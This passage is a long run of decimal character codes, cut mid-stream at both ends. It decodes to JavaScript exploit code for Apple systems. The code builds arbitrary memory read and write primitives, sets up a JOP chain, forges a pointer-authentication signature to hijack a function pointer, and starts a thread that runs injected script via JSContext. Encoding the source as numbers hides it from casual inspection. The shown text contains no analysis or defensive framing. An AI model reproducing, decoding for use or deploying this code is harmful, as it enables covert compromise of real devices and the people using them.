99, 102, 115, 116, 114, 105, 110, 103, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 41, 41, 59, 10, 32, 32, 32, 32, 125, 32, 101, 108, 115, 101, 32, 105, 102, 32, 40, 116, 121, 112, 101, 111, 102, 32, 40, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 41, 32, 61, 61, 61, 32, 34, 111, 98, 106, 101, 99, 116, 34, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 32, 61, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 40, 117, 114, 101, 97, 100, 54, 52, 40, 97, 100, 100, 114, 111, 102, 40, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 41, 32, 43, 32, 48, 120, 49, 48, 110, 41, 41, 59, 10, 32, 32, 32, 32, 125, 32, 101, 108, 115, 101, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 47, 47, 32, 105, 110, 32, 116, 104, 105, 115, 32, 99, 97, 115, 101, 44, 32, 105, 116, 39, 115, 32, 97, 108, 114, 101, 97, 100, 121, 32, 97, 32, 67, 70, 83, 116, 114, 105, 110, 103, 44, 32, 115, 111, 32, 108, 101, 116, 39, 115, 32, 106, 117, 115, 116, 32, 99, 111, 112, 121, 32, 105, 116, 10, 32, 32, 32, 32, 32, 32, 32, 32, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 32, 61, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 95, 99, 111, 112, 121, 40, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 41, 59, 10, 32, 32, 32, 32, 125, 10, 10, 32, 32, 32, 32, 108, 101, 116, 32, 106, 111, 112, 95, 99, 104, 97, 105, 110, 95, 105, 110, 102, 111, 32, 61, 32, 115, 101, 116, 117, 112, 95, 102, 99, 97, 108, 108, 95, 106, 111, 112, 99, 104, 97, 105, 110, 40, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 32, 61, 32, 106, 111, 112, 95, 99, 104, 97, 105, 110, 95, 105, 110, 102, 111, 91, 34, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 34, 93, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 112, 99, 32, 32, 32, 61, 32, 106, 111, 112, 95, 99, 104, 97, 105, 110, 95, 105, 110, 102, 111, 91, 34, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 112, 99, 34, 93, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 97, 114, 103, 115, 32, 61, 32, 106, 111, 112, 95, 99, 104, 97, 105, 110, 95, 105, 110, 102, 111, 91, 34, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 97, 114, 103, 115, 34, 93, 59, 10, 10, 10, 32, 32, 32, 32, 108, 101, 116, 32, 99, 116, 120, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 111, 98, 106, 99, 95, 97, 108, 108, 111, 99, 95, 105, 110, 105, 116, 40, 106, 115, 99, 95, 99, 108, 97, 115, 115, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 105, 115, 110, 97, 110, 95, 118, 97, 108, 117, 101, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 99, 116, 120, 44, 32, 99, 102, 115, 116, 114, 95, 105, 115, 78, 97, 78, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 105, 115, 110, 97, 110, 95, 102, 117, 110, 99, 95, 97, 100, 100, 114, 32, 32, 32, 32, 32, 32, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 105, 115, 110, 97, 110, 95, 118, 97, 108, 117, 101, 32, 43, 32, 48, 120, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 105, 115, 110, 97, 110, 95, 101, 120, 101, 99, 117, 116, 97, 98, 108, 101, 95, 97, 100, 100, 114, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 105, 115, 110, 97, 110, 95, 102, 117, 110, 99, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 49, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 105, 115, 110, 97, 110, 95, 99, 111, 100, 101, 95, 112, 116, 114, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 105, 115, 110, 97, 110, 95, 101, 120, 101, 99, 117, 116, 97, 98, 108, 101, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 50, 56, 110, 59, 10, 32, 32, 32, 32, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 40, 99, 116, 120, 44, 32, 115, 116, 97, 103, 101, 49, 95, 106, 115, 41, 59, 10, 10, 32, 32, 32, 32, 47, 47, 32, 115, 101, 116, 117, 112, 32, 97, 100, 100, 114, 111, 102, 32, 112, 114, 105, 109, 115, 10, 32, 32, 32, 32, 108, 101, 116, 32, 117, 110, 98, 111, 120, 101, 100, 95, 97, 114, 114, 95, 118, 97, 108, 117, 101, 32, 61, 32, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 99, 116, 120, 44, 32, 99, 102, 115, 116, 114, 95, 117, 110, 98, 111, 120, 101, 100, 95, 97, 114, 114, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 117, 110, 98, 111, 120, 101, 100, 95, 97, 114, 114, 95, 97, 100, 100, 114, 32, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 117, 110, 98, 111, 120, 101, 100, 95, 97, 114, 114, 95, 118, 97, 108, 117, 101, 32, 43, 32, 48, 120, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 98, 111, 120, 101, 100, 95, 97, 114, 114, 95, 118, 97, 108, 117, 101, 32, 32, 32, 61, 32, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 99, 116, 120, 44, 32, 99, 102, 115, 116, 114, 95, 98, 111, 120, 101, 100, 95, 97, 114, 114, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 98, 111, 120, 101, 100, 95, 97, 114, 114, 95, 97, 100, 100, 114, 32, 32, 32, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 98, 111, 120, 101, 100, 95, 97, 114, 114, 95, 118, 97, 108, 117, 101, 32, 43, 32, 48, 120, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 98, 111, 120, 101, 100, 95, 97, 114, 114, 95, 98, 117, 116, 116, 101, 114, 32, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 98, 111, 120, 101, 100, 95, 97, 114, 114, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 56, 110, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 117, 110, 98, 111, 120, 101, 100, 95, 97, 114, 114, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 56, 110, 44, 32, 98, 111, 120, 101, 100, 95, 97, 114, 114, 95, 98, 117, 116, 116, 101, 114, 41, 59, 10, 10, 32, 32, 32, 32, 47, 47, 32, 115, 101, 116, 117, 112, 32, 114, 119, 54, 52, 32, 112, 114, 105, 109, 10, 32, 32, 32, 32, 108, 101, 116, 32, 114, 119, 95, 97, 114, 114, 97, 121, 95, 97, 100, 100, 114, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 99, 116, 120, 44, 32, 99, 102, 115, 116, 114, 95, 114, 119, 95, 97, 114, 114, 97, 121, 41, 32, 43, 32, 48, 120, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 97, 100, 100, 114, 32, 32, 32, 32, 32, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 99, 116, 120, 44, 32, 99, 102, 115, 116, 114, 95, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 41, 32, 43, 32, 48, 120, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 114, 119, 95, 97, 114, 114, 97, 121, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 32, 32, 32, 32, 32, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 114, 119, 95, 97, 114, 114, 97, 121, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 49, 48, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 49, 48, 110, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 49, 48, 110, 44, 32, 114, 119, 95, 97, 114, 114, 97, 121, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 49, 48, 110, 41, 59, 10, 10, 32, 32, 32, 32, 47, 47, 32, 115, 101, 116, 117, 112, 32, 114, 119, 56, 32, 112, 114, 105, 109, 10, 32, 32, 32, 32, 108, 101, 116, 32, 114, 119, 95, 97, 114, 114, 97, 121, 95, 56, 95, 97, 100, 100, 114, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 99, 116, 120, 44, 32, 99, 102, 115, 116, 114, 95, 114, 119, 95, 97, 114, 114, 97, 121, 95, 56, 41, 32, 43, 32, 48, 120, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 56, 95, 97, 100, 100, 114, 32, 32, 32, 32, 32, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 99, 116, 120, 44, 32, 99, 102, 115, 116, 114, 95, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 56, 41, 32, 43, 32, 48, 120, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 114, 119, 95, 97, 114, 114, 97, 121, 95, 56, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 32, 32, 32, 32, 32, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 114, 119, 95, 97, 114, 114, 97, 121, 95, 56, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 49, 48, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 56, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 56, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 49, 48, 110, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 56, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 49, 48, 110, 44, 32, 114, 119, 95, 97, 114, 114, 97, 121, 95, 56, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 49, 48, 110, 41, 59, 10, 10, 32, 32, 32, 32, 108, 101, 116, 32, 115, 105, 103, 110, 105, 110, 103, 95, 99, 116, 120, 32, 32, 32, 32, 32, 32, 32, 61, 32, 48, 120, 52, 57, 49, 49, 110, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 115, 105, 103, 110, 101, 100, 95, 102, 99, 97, 108, 108, 95, 97, 100, 100, 114, 32, 61, 32, 112, 97, 99, 105, 98, 40, 106, 115, 118, 109, 95, 105, 115, 78, 65, 78, 95, 102, 99, 97, 108, 108, 95, 103, 97, 100, 103, 101, 116, 44, 32, 115, 105, 103, 110, 105, 110, 103, 95, 99, 116, 120, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 105, 115, 110, 97, 110, 95, 99, 111, 100, 101, 95, 112, 116, 114, 44, 32, 115, 105, 103, 110, 101, 100, 95, 102, 99, 97, 108, 108, 95, 97, 100, 100, 114, 41, 59, 10, 10, 32, 32, 32, 32, 108, 101, 116, 32, 110, 101, 119, 95, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 99, 116, 120, 44, 32, 99, 102, 115, 116, 114, 95, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 95, 97, 114, 114, 97, 121, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 110, 101, 119, 95, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 95, 97, 100, 100, 114, 32, 32, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 110, 101, 119, 95, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 32, 43, 32, 48, 120, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 110, 101, 119, 95, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 95, 98, 117, 102, 102, 101, 114, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 110, 101, 119, 95, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 49, 48, 110, 41, 59, 10, 10, 32, 32, 32, 32, 109, 101, 109, 99, 112, 121, 40, 110, 101, 119, 95, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 95, 98, 117, 102, 102, 101, 114, 44, 32, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 95, 98, 117, 102, 102, 101, 114, 44, 32, 80, 65, 71, 69, 95, 83, 73, 90, 69, 41, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 110, 101, 119, 95, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 95, 98, 117, 102, 102, 101, 114, 32, 43, 32, 40, 51, 110, 32, 42, 32, 48, 120, 56, 110, 41, 44, 32, 116, 97, 114, 103, 101, 116, 95, 116, 104, 114, 101, 97, 100, 95, 97, 114, 103, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 110, 101, 119, 95, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 95, 98, 117, 102, 102, 101, 114, 32, 43, 32, 40, 53, 110, 32, 42, 32, 48, 120, 56, 110, 41, 44, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 110, 101, 119, 95, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 95, 98, 117, 102, 102, 101, 114, 32, 43, 32, 40, 54, 110, 32, 42, 32, 48, 120, 56, 110, 41, 44, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 112, 99, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 110, 101, 119, 95, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 95, 98, 117, 102, 102, 101, 114, 32, 43, 32, 40, 55, 110, 32, 42, 32, 48, 120, 56, 110, 41, 44, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 97, 114, 103, 115, 41, 59, 10, 10, 32, 32, 32, 32, 105, 102, 32, 40, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 95, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 32, 61, 61, 32, 48, 110, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 108, 101, 116, 32, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 95, 115, 105, 103, 110, 97, 116, 117, 114, 101, 32, 61, 32, 109, 101, 116, 104, 111, 100, 83, 105, 103, 110, 97, 116, 117, 114, 101, 70, 111, 114, 83, 101, 108, 101, 99, 116, 111, 114, 40, 99, 116, 120, 44, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 95, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 32, 32, 32, 32, 61, 32, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 87, 105, 116, 104, 77, 101, 116, 104, 111, 100, 83, 105, 103, 110, 97, 116, 117, 114, 101, 40, 105, 110, 118, 111, 107, 101, 95, 99, 108, 97, 115, 115, 44, 32, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 95, 115, 105, 103, 110, 97, 116, 117, 114, 101, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 115, 101, 116, 65, 114, 103, 117, 109, 101, 110, 116, 95, 97, 116, 73, 110, 100, 101, 120, 40, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 95, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 44, 32, 110, 101, 119, 95, 117, 105, 110, 116, 54, 52, 95, 116, 40, 115, 101, 108, 101, 99, 116, 111, 114, 95, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 41, 44, 32, 49, 110, 41, 59, 10, 32, 32, 32, 32, 125, 10, 10, 32, 32, 32, 32, 115, 101, 116, 65, 114, 103, 117, 109, 101, 110, 116, 95, 97, 116, 73, 110, 100, 101, 120, 40, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 95, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 44, 32, 110, 101, 119, 95, 117, 105, 110, 116, 54, 52, 95, 116, 40, 99, 116, 120, 41, 44, 32, 48, 110, 41, 59, 10, 32, 32, 32, 32, 115, 101, 116, 65, 114, 103, 117, 109, 101, 110, 116, 95, 97, 116, 73, 110, 100, 101, 120, 40, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 95, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 44, 32, 110, 101, 119, 95, 117, 105, 110, 116, 54, 52, 95, 116, 40, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 41, 44, 32, 50, 110, 41, 59, 10, 10, 32, 32, 32, 32, 108, 101, 116, 32, 110, 115, 116, 104, 114, 101, 97, 100, 32, 61, 32, 111, 98, 106, 99, 95, 97, 108, 108, 111, 99, 40, 110, 115, 116, 104, 114, 101, 97, 100, 95, 99, 108, 97, 115, 115, 41, 59, 10, 32, 32, 32, 32, 105, 110, 105, 116, 87, 105, 116, 104, 84, 97, 114, 103, 101, 116, 95, 115, 101, 108, 101, 99, 116, 111, 114, 95, 111, 98, 106, 101, 99, 116, 40, 110, 115, 116, 104, 114, 101, 97, 100, 44, 32, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 95, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 44, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 105, 110, 118, 111, 107, 101, 44, 32, 48, 110, 41, 59, 10, 32, 32, 32, 32, 110, 115, 116, 104, 114, 101, 97, 100, 95, 115, 116, 97, 114, 116, 40, 110, 115, 116, 104, 114, 101, 97, 100, 41, 59, 10, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 34, 116, 104, 114, 101, 97, 100, 95, 104, 97, 110, 100, 108, 101, 34, 32, 58, 32, 110, 115, 116, 104, 114, 101, 97, 100, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 34, 106, 115, 95, 99, 116, 120, 34, 32, 58, 32, 99, 116, 120, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 34, 106, 111, 112, 95, 99, 104, 97, 105, 110, 95, 105, 110, 102, 111, 34, 32, 58, 32, 106, 111, 112, 95, 99, 104, 97, 105, 110, 95, 105, 110, 102, 111, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 34, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 34, 32, 58, 32, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 34, 114, 119, 95, 97, 114, 114, 97, 121, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 34, 32, 58, 32, 114, 119, 95, 97, 114, 114, 97, 121, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 34, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 34, 32, 58, 32, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 34, 114, 119, 95, 97, 114, 114, 97, 121, 95, 56, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 34, 32, 58, 32, 114, 119, 95, 97, 114, 114, 97, 121, 95, 56, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 34, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 56, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 34, 32, 58, 32, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 56, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 44, 10, 32, 32, 32, 32, 125, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 106, 115, 95, 116, 104, 114, 101, 97, 100, 95, 106, 111, 105, 110, 40, 106, 115, 95, 116, 104, 114, 101, 97, 100, 41, 10, 123, 10, 32, 32, 32, 32, 108, 101, 116, 32, 106, 111, 112, 95, 99, 104, 97, 105, 110, 95, 105, 110, 102, 111, 32, 32, 32, 32, 32, 61, 32, 106, 115, 95, 116, 104, 114, 101, 97, 100, 91, 34, 106, 111, 112, 95, 99, 104, 97, 105, 110, 95, 105, 110, 102, 111, 34, 93, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 106, 115, 95, 99, 116, 120, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 106, 115, 95, 116, 104, 114, 101, 97, 100, 91, 34, 106, 115, 95, 99, 116, 120, 34, 93, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 32, 61, 32, 106, 115, 95, 116, 104, 114, 101, 97, 100, 91, 34, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 34, 93, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 110, 115, 116, 104, 114, 101, 97, 100, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 106, 115, 95, 116, 104, 114, 101, 97, 100, 91, 34, 116, 104, 114, 101, 97, 100, 95, 104, 97, 110, 100, 108, 101, 34, 93, 59, 10, 10, 32, 32, 32, 32, 47, 47, 32, 119, 97, 105, 116, 32, 117, 110, 116, 105, 108, 32, 116, 104, 101, 32, 116, 104, 114, 101, 97, 100, 32, 105, 115, 32, 102, 105, 110, 105, 115, 104, 101, 100, 32, 97, 110, 100, 32, 114, 101, 108, 101, 97, 115, 101, 32, 105, 116, 10, 32, 32, 32, 32, 119, 104, 105, 108, 101, 32, 40, 116, 114, 117, 101, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 108, 101, 116, 32, 105, 115, 70, 105, 110, 105, 115, 104, 101, 100, 32, 61, 32, 111, 98, 106, 99, 95, 109, 115, 103, 83, 101, 110, 100, 40, 110, 115, 116, 104, 114, 101, 97, 100, 44, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 105, 115, 70, 105, 110, 105, 115, 104, 101, 100, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 105, 102, 32, 40, 105, 115, 70, 105, 110, 105, 115, 104, 101, 100, 32, 61, 61, 32, 49, 110, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 98, 114, 101, 97, 107, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 125, 10, 32, 32, 32, 32, 125, 10, 32, 32, 32, 32, 111, 98, 106, 101, 99, 116, 95, 114, 101, 108, 101, 97, 115, 101, 40, 110, 115, 116, 104, 114, 101, 97, 100, 41, 59, 10, 10, 32, 32, 32, 32, 47, 47, 32, 114, 101, 118, 101, 114, 116, 32, 114, 119, 54, 52, 32, 112, 114, 105, 109, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 117, 114, 101, 97, 100, 54, 52, 40, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 106, 115, 95, 99, 116, 120, 44, 32, 99, 102, 115, 116, 114, 95, 114, 119, 95, 97, 114, 114, 97, 121, 41, 32, 43, 32, 48, 120, 56, 110, 41, 32, 43, 32, 48, 120, 49, 48, 110, 44, 32, 106, 115, 95, 116, 104, 114, 101, 97, 100, 91, 34, 114, 119, 95, 97, 114, 114, 97, 121, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 34, 93, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 117, 114, 101, 97, 100, 54, 52, 40, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 106, 115, 95, 99, 116, 120, 44, 32, 99, 102, 115, 116, 114, 95, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 41, 32, 43, 32, 48, 120, 56, 110, 41, 32, 43, 32, 48, 120, 49, 48, 110, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 106, 115, 95, 116, 104, 114, 101, 97, 100, 91, 34, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 98, 117, 102, 102, 101, 114, 95, 98, 107, 34, 93, 41, 59, 10, 32, 32, 32, 32, 47, 47, 32, 114, 101, 118, 101, 114, 116, 32, 114, 119, 56, 32, 112, 114, 105, 109, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 117, 114, 101, 97, 100, 54, 52, 40, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 106, 115, 95, 99, 116, 120, 44, 32, 99, 102, 115, 116, 114, 95, 114, 119, 95, 97, 114, 114, 97, 121, 95, 56, 41, 32, 43, 32, 48, 120, 56, 110, 41, 32, 43, 32, 48, 120, 49, 48, 110, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 106, 